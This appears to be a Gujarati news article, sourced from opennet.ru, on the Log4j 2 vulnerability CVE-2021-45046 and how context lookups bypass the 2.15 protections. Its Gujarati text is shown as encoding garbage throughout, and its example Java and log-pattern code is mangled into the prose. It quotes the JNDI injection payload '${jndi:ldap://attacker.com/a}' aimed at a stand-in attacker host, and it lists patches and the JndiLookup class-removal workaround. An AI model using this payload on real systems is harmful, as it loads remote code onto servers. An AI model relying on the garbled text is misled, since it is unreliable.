Log4j 2 เชฎเชพเชŸเซ‡ เชเช• เชจเชตเซ‹ เชนเซเชฎเชฒเซ‹ เชตเชฟเช•เชฒเซเชช เชœเซ‡ เชคเชฎเชจเซ‡ เชตเชงเชพเชฐเชพเชจเซ€ เชธเซเชฐเช•เซเชทเชพเชจเซ‡ เชฌเชพเชฏเชชเชพเชธ เช•เชฐเชตเชพเชจเซ€ เชฎเช‚เชœเซ‚เชฐเซ€ เช†เชชเซ‡ เช›เซ‡

Log4j 2 เชฒเชพเช‡เชฌเซเชฐเซ‡เชฐเซ€ (CVE-2021-45046) เชฎเชพเช‚ JNDI เชฒเซเช•เช…เชชเชจเชพ เช…เชฎเชฒเซ€เช•เชฐเชฃเชฎเชพเช‚ เช…เชจเซเชฏ เชจเชฌเชณเชพเชˆ เช“เชณเช–เชตเชพเชฎเชพเช‚ เช†เชตเซ€ เช›เซ‡, เชœเซ‡ เชชเซเชฐเช•เชพเชถเชจ 2.15 เชฎเชพเช‚ เช‰เชฎเซ‡เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ‡เชฒเชพ เชธเซเชงเชพเชฐเชพเช“ เช…เชจเซ‡ เชธเซเชฐเช•เซเชทเชพ เชฎเชพเชŸเซ‡ "log4j2.noFormatMsgLookup" เชธเซ‡เชŸเชฟเช‚เช—เชจเชพ เช‰เชชเชฏเซ‹เช—เชจเซ‡ เชงเซเชฏเชพเชจเชฎเชพเช‚ เชฒเซ€เชงเชพ เชตเชฟเชจเชพ เชฆเซ‡เช–เชพเชฏ เช›เซ‡. เชธเชฎเชธเซเชฏเชพ เชฎเซเช–เซเชฏเชคเซเชตเซ‡ Log4j 2 เชจเซ€ เชœเซ‚เชจเซ€ เช†เชตเซƒเชคเซเชคเชฟเช“ เชฎเชพเชŸเซ‡ เช–เชคเชฐเชจเชพเช• เช›เซ‡, เชœเซ‡ โ€œnoFormatMsgLookupโ€ เชซเซเชฒเซ‡เช—เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ€เชจเซ‡ เชธเซเชฐเช•เซเชทเชฟเชค เช›เซ‡, เช•เชพเชฐเชฃ เช•เซ‡ เชคเซ‡ เช…เช—เชพเช‰เชจเซ€ เชจเชฌเชณเชพเชˆเช“ (Log4Shell, CVE-2021-44228) เชฅเซ€ เชฐเช•เซเชทเชฃเชจเซ‡ เชฌเชพเชฏเชชเชพเชธ เช•เชฐเชตเชพเชจเซเช‚ เชถเช•เซเชฏ เชฌเชจเชพเชตเซ‡ เช›เซ‡, เชœเซ‡ เชคเชฎเชจเซ‡ เชคเชฎเชพเชฐเชพ เช•เซ‹เชกเชจเซ‡ เชเช•เซเชเชฟเช•เซเชฏเซเชŸ เช•เชฐเชตเชพเชจเซ€ เชฎเช‚เชœเซ‚เชฐเซ€ เช†เชชเซ‡ เช›เซ‡. เชธเชฐเซเชตเชฐ เชธเช‚เชธเซเช•เชฐเชฃ 2.15 เชจเชพ เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพเช“ เชฎเชพเชŸเซ‡, เชถเซ‹เชทเชฃ เช‰เชชเชฒเชฌเซเชง เชธเช‚เชธเชพเชงเชจเซ‹เชจเชพ เชฅเชพเช•เชจเซ‡ เช•เชพเชฐเชฃเซ‡ เชเชชเซเชฒเชฟเช•เซ‡เชถเชจเชจเซ‡ เช•เซเชฐเซ‡เชถ เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ เชฎเชฐเซเชฏเชพเชฆเชฟเชค เช›เซ‡.

เชจเชฌเชณเชพเชˆ เชซเช•เซเชค เชคเซ‡ เชธเชฟเชธเซเชŸเชฎเซ‹ เชชเชฐ เชœ เชฆเซ‡เช–เชพเชฏ เช›เซ‡ เชœเซ‡ เชฒเซ‹เช—เซ€เช‚เช— เชฎเชพเชŸเซ‡ เชธเช‚เชฆเชฐเซเชญ เชฒเซเช•เช…เชชเชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ‡ เช›เซ‡, เชœเซ‡เชฎ เช•เซ‡ ${ctx:loginId}, เช…เชฅเชตเชพ MDC เชŸเซ‡เชฎเซเชชเชฒเซ‡เชŸเซเชธ (เชฅเซเชฐเซ‡เชก เชธเช‚เชฆเชฐเซเชญ เชจเช•เชถเซ‹), เชœเซ‡เชฎ เช•เซ‡ %X, %mdc เช…เชจเซ‡ %MDC. เช‘เชชเชฐเซ‡เชถเชจ เชฒเซ‰เช—เชฎเชพเช‚ เช†เช‰เชŸเชชเซเชŸ เชซเซ‹เชฐเซเชฎเซ‡เชŸเชฟเช‚เช— เชฎเชพเชŸเซ‡เชจเชพ เชจเชฟเชฏเชฎเซ‹เชจเซ‡ เชตเซเชฏเชพเช–เซเชฏเชพเชฏเชฟเชค เช•เชฐเชคเซ€ เชเชชเซเชฒเชฟเช•เซ‡เชถเชจเชฎเชพเช‚ เชธเช‚เชฆเชฐเซเชญ เช•เซเชตเซ‡เชฐเซ€เช เช…เชฅเชตเชพ MDC เชŸเซ‡เชฎเซเชชเซเชฒเซ‡เชŸเซเชธเชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเชคเซ€ เชตเช–เชคเซ‡ เชฒเซ‰เช—เชฎเชพเช‚ JNDI เช…เชตเซ‡เชœเซ€ เชงเชฐเชพเชตเชคเชพ เชกเซ‡เชŸเชพเชจเซ‡ เช†เช‰เชŸเชชเซเชŸ เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ เชถเชฐเชคเซ‹ เชฌเชจเชพเชตเชตเชพ เชฎเชพเชŸเซ‡ เชจเซ€เชšเซ‡ เช†เชตเซ‡ เช›เซ‡.

LunaSec เชจเชพ เชธเช‚เชถเซ‹เชงเช•เซ‹เช เชจเซ‹เช‚เชงเซเชฏเซเช‚ เช•เซ‡ Log4j เชจเซ€ 2.15 เชฅเซ€ เช“เช›เซ€ เช†เชตเซƒเชคเซเชคเชฟเช“ เชฎเชพเชŸเซ‡, เช† เชจเชฌเชณเชพเชˆเชจเซ‹ เช‰เชชเชฏเซ‹เช— Log4Shell เชนเซเชฎเชฒเชพ เชฎเชพเชŸเซ‡ เชจเชตเชพ เชตเซ‡เช•เซเชŸเชฐ เชคเชฐเซ€เช•เซ‡ เชฅเชˆ เชถเช•เซ‡ เช›เซ‡, เชœเซ‡ เช•เซ‹เชก เชเช•เซเชเซ‡เช•เซเชฏเซเชถเชจ เชคเชฐเชซ เชฆเซ‹เชฐเซ€ เชœเชพเชฏ เช›เซ‡, เชœเซ‹ ThreadContext เช…เชญเชฟเชตเซเชฏเช•เซเชคเชฟเช“ เชœเซ‡เชฎเชพเช‚ เชฌเชพเชนเซเชฏ เชกเซ‡เชŸเชพเชจเซ‹ เชธเชฎเชพเชตเซ‡เชถ เชฅเชพเชฏ เช›เซ‡ เชคเซ‡เชจเซ‹ เช‰เชชเชฏเซ‹เช— เชฒเซ‹เช— เช†เช‰เชŸเชชเซเชŸเชฎเชพเช‚ เชฅเชพเชฏ เช›เซ‡, เชชเช›เซ€ เชญเชฒเซ‡เชจเซ‡ "protect" เชซเซเชฒเซ‡เช— เชธเช•เซเชทเชฎ เช›เซ‡. noMsgFormatLookups" เช…เชฅเชตเชพ เชŸเซ‡เชฎเซเชชเชฒเซ‡เชŸ "%m{nolookups}".

Log4j 2 เชฎเชพเชŸเซ‡ เชเช• เชจเชตเซ‹ เชนเซเชฎเชฒเซ‹ เชตเชฟเช•เชฒเซเชช เชœเซ‡ เชคเชฎเชจเซ‡ เชตเชงเชพเชฐเชพเชจเซ€ เชธเซเชฐเช•เซเชทเชพเชจเซ‡ เชฌเชพเชฏเชชเชพเชธ เช•เชฐเชตเชพเชจเซ€ เชฎเช‚เชœเซ‚เชฐเซ€ เช†เชชเซ‡ เช›เซ‡

เชธเช‚เชฐเช•เซเชทเชฃเชจเซ‡ เชฌเชพเชฏเชชเชพเชธ เช•เชฐเชตเซเช‚ เช เชนเช•เซ€เช•เชค เชชเชฐ เช†เชตเซ‡ เช›เซ‡ เช•เซ‡ "${jndi:ldap://attacker.com/a}" เชจเชพ เชธเซ€เชงเชพ เช…เชตเซ‡เชœเซ€เชจเซ‡ เชฌเชฆเชฒเซ‡, เช† เช…เชญเชฟเชตเซเชฏเช•เซเชคเชฟ เชฒเซ‹เช— เช†เช‰เชŸเชชเซเชŸเชจเชพ เชซเซ‹เชฐเซเชฎเซ‡เชŸเชฟเช‚เช— เชฎเชพเชŸเซ‡เชจเชพ เชจเชฟเชฏเชฎเซ‹เชฎเชพเช‚ เชตเชชเชฐเชพเชคเชพ เชฎเชงเซเชฏเชตเชฐเซเชคเซ€ เชšเชฒเชจเชพ เชฎเซ‚เชฒเซเชฏ เชฆเซเชตเชพเชฐเชพ เชฌเชฆเชฒเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡. . เช‰เชฆเชพเชนเชฐเชฃ เชคเชฐเซ€เช•เซ‡, เชœเซ‹ เชฒเซ‹เช—เชฎเชพเช‚ เช†เช‰เชŸเชชเซเชŸ เช•เชฐเชคเซ€ เชตเช–เชคเซ‡ เชธเช‚เชฆเชฐเซเชญ เช•เซเชตเซ‡เชฐเซ€ ${ctx:apiversion}เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡, เชคเซ‹ เชชเช›เซ€ เชเชŸเซ‡เช•เชฎเชพเช‚ เชกเซ‡เชŸเชพ "${jndi:ldap://attacker.com/a}" เชจเซ‡ เชฌเชฆเชฒเซ€เชจเซ‡ เช†เช•เซเชฐเชฎเชฃ เช•เชฐเซ€ เชถเช•เชพเชฏ เช›เซ‡. เชเชชเซ€เชตเชฐเซเชเชจ เชšเชฒ เชชเชฐ เชฒเช–เชพเชฏเซ‡เชฒ เชฎเซ‚เชฒเซเชฏ. เชธเช‚เชตเซ‡เชฆเชจเชถเซ€เชฒ เช•เซ‹เชกเชจเซเช‚ เช‰เชฆเชพเชนเชฐเชฃ: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") เชชเชฌเซเชฒเชฟเช• เชธเซเชŸเซเชฐเชฟเช‚เช— เช‡เชจเซเชกเซ‡เช•เซเชธ(@RequestHeader("X-Api-Version") String apiVersion) { // "X-Api-Version" HTTP เชนเซ‡เชกเชฐ เชตเซ‡เชฒเซเชฏเซ ThreadContext ThreadContext.put("apiversion) เชจเซ‡ เชชเชธเชพเชฐ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡. ", apiVersion ); // เชฒเซ‹เช—เชฎเชพเช‚ เช†เช‰เชŸเชชเซเชŸ เช•เชฐเชคเซ€ เชตเช–เชคเซ‡, ${ctx:apiversion} logger.info("API เชธเช‚เชธเซเช•เชฐเชฃ เชฎเชพเชŸเซ‡ เชตเชฟเชจเช‚เชคเซ€ เชชเซเชฐเชพเชชเซเชค เชฅเชˆ"); เชชเชพเช›เชพ เชซเชฐเซ‹ "เชนเซ‡เชฒเซ‹, เชตเชฟเชถเซเชต!"; }

Log4j เชธเช‚เชธเซเช•เชฐเชฃ 2.15 เชฎเชพเช‚, ThreadContext เชชเชฐ เชฎเซ‚เชฒเซเชฏเซ‹ เชชเชธเชพเชฐ เช•เชฐเชคเซ€ เชตเช–เชคเซ‡ เชจเชฌเชณเชพเชˆเชจเซ‹ เช‰เชชเชฏเซ‹เช— DoS เชนเซเชฎเชฒเชพ เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ เชฅเชˆ เชถเช•เซ‡ เช›เซ‡, เชชเชฐเชฟเชฃเชพเชฎเซ‡ เช†เช‰เชŸเชชเซเชŸ เชซเซ‹เชฐเซเชฎเซ‡เชŸเชฟเช‚เช— เชŸเซ‡เชฎเซเชชเชฒเซ‡เชŸ เชชเซเชฐเซ‹เชธเซ‡เชธเชฟเช‚เช—เชฎเชพเช‚ เชฒเซ‚เชช เช†เชตเซ‡ เช›เซ‡.

Log4j 2 เชฎเชพเชŸเซ‡ เชเช• เชจเชตเซ‹ เชนเซเชฎเชฒเซ‹ เชตเชฟเช•เชฒเซเชช เชœเซ‡ เชคเชฎเชจเซ‡ เชตเชงเชพเชฐเชพเชจเซ€ เชธเซเชฐเช•เซเชทเชพเชจเซ‡ เชฌเชพเชฏเชชเชพเชธ เช•เชฐเชตเชพเชจเซ€ เชฎเช‚เชœเซ‚เชฐเซ€ เช†เชชเซ‡ เช›เซ‡

เชจเชฌเชณเชพเชˆเชจเซ‡ เช…เชตเชฐเซ‹เชงเชฟเชค เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡, เช…เชชเชกเซ‡เชŸเซเชธ 2.16 เช…เชจเซ‡ 2.12.2 เชชเซเชฐเช•เชพเชถเชฟเชค เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเชพ เชนเชคเชพ. Log4j 2.16 เชถเชพเช–เชพเชฎเชพเช‚, เชธเช‚เชธเซเช•เชฐเชฃ 2.15 เชฎเชพเช‚ เช…เชฎเชฒเชฎเชพเช‚ เชฎเซ‚เช•เชพเชฏเซ‡เชฒเชพ เชธเซเชงเชพเชฐเชพเช“ เช…เชจเซ‡ "เชฒเซ‹เช•เชฒเชนเซ‹เชธเซเชŸ" เชฎเชพเชŸเซ‡ JNDI LDAP เชตเชฟเชจเช‚เชคเซ€เช“เชจเชพ เชฌเช‚เชงเชจ เช‰เชชเชฐเชพเช‚เชค, JNDI เช•เชพเชฐเซเชฏเช•เซเชทเชฎเชคเชพ เชกเชฟเชซเซ‰เชฒเซเชŸ เชฐเซ‚เชชเซ‡ เชธเช‚เชชเซ‚เชฐเซเชฃเชชเชฃเซ‡ เช…เช•เซเชทเชฎ เช›เซ‡ เช…เชจเซ‡ เชธเช‚เชฆเซ‡เชถ เช…เชตเซ‡เชœเซ€ เชจเชฎเซ‚เชจเชพเช“ เชฎเชพเชŸเซ‡เชจเชพ เชธเชฎเชฐเซเชฅเชจเชจเซ‡ เชฆเซ‚เชฐ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡. เชธเซเชฐเช•เซเชทเชพเชจเชพ เช‰เช•เซ‡เชฒ เชคเชฐเซ€เช•เซ‡, เช•เซเชฒเชพเชธเชชเชพเชฅเชฎเชพเช‚เชฅเซ€ JndiLookup เชตเชฐเซเช—เชจเซ‡ เชฆเซ‚เชฐ เช•เชฐเชตเชพเชจเซเช‚ เชธเซ‚เชšเชจ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡ (เช‰เชฆเชพเชนเชฐเชฃ เชคเชฐเซ€เช•เซ‡, โ€œzip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.classโ€) .

เชคเชฎเซ‡ เชกเชฟเชธเซเชŸเซเชฐเชฟเชฌเซเชฏเซเชถเชจเซเชธ (เชกเซ‡เชฌเชฟเชฏเชจ, เช‰เชฌเซเชจเซเชŸเซ, เช†เชฐเชเชšเชˆเชเชฒ, เชธเซเชธเซ‡, เชซเซ‡เชกเซ‹เชฐเชพ, เช†เชฐเซเช•) เช…เชจเซ‡ เชœเชพเชตเชพ เชชเซเชฒเซ‡เชŸเชซเซ‹เชฐเซเชฎ เช‰เชคเซเชชเชพเชฆเช•เซ‹ (เช—เซ€เชŸเชนเชฌ, เชกเซ‹เช•เชฐ, เช“เชฐเซ‡เช•เชฒ, เชตเซ€เชเชฎเชตเซ‡เชฐ, เชฌเซเชฐเซ‹เชกเช•เซ‹เชฎ เช…เชจเซ‡ เชเชฎเซ‡เชเซ‹เชจ/เชเชกเชฌเซเชฒเซเชฏเซเชเชธ, เชœเซเชจเชฟเชชเชฐ, เชตเซ€เชเชฎเชตเซ‡เชฐ, Cisco, IBM , Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, เชตเช—เซ‡เชฐเซ‡).

เชธเซ‹เชฐเซเชธ: opennet.ru

เชเช• เชŸเชฟเชชเซเชชเชฃเซ€ เช‰เชฎเซ‡เชฐเซ‹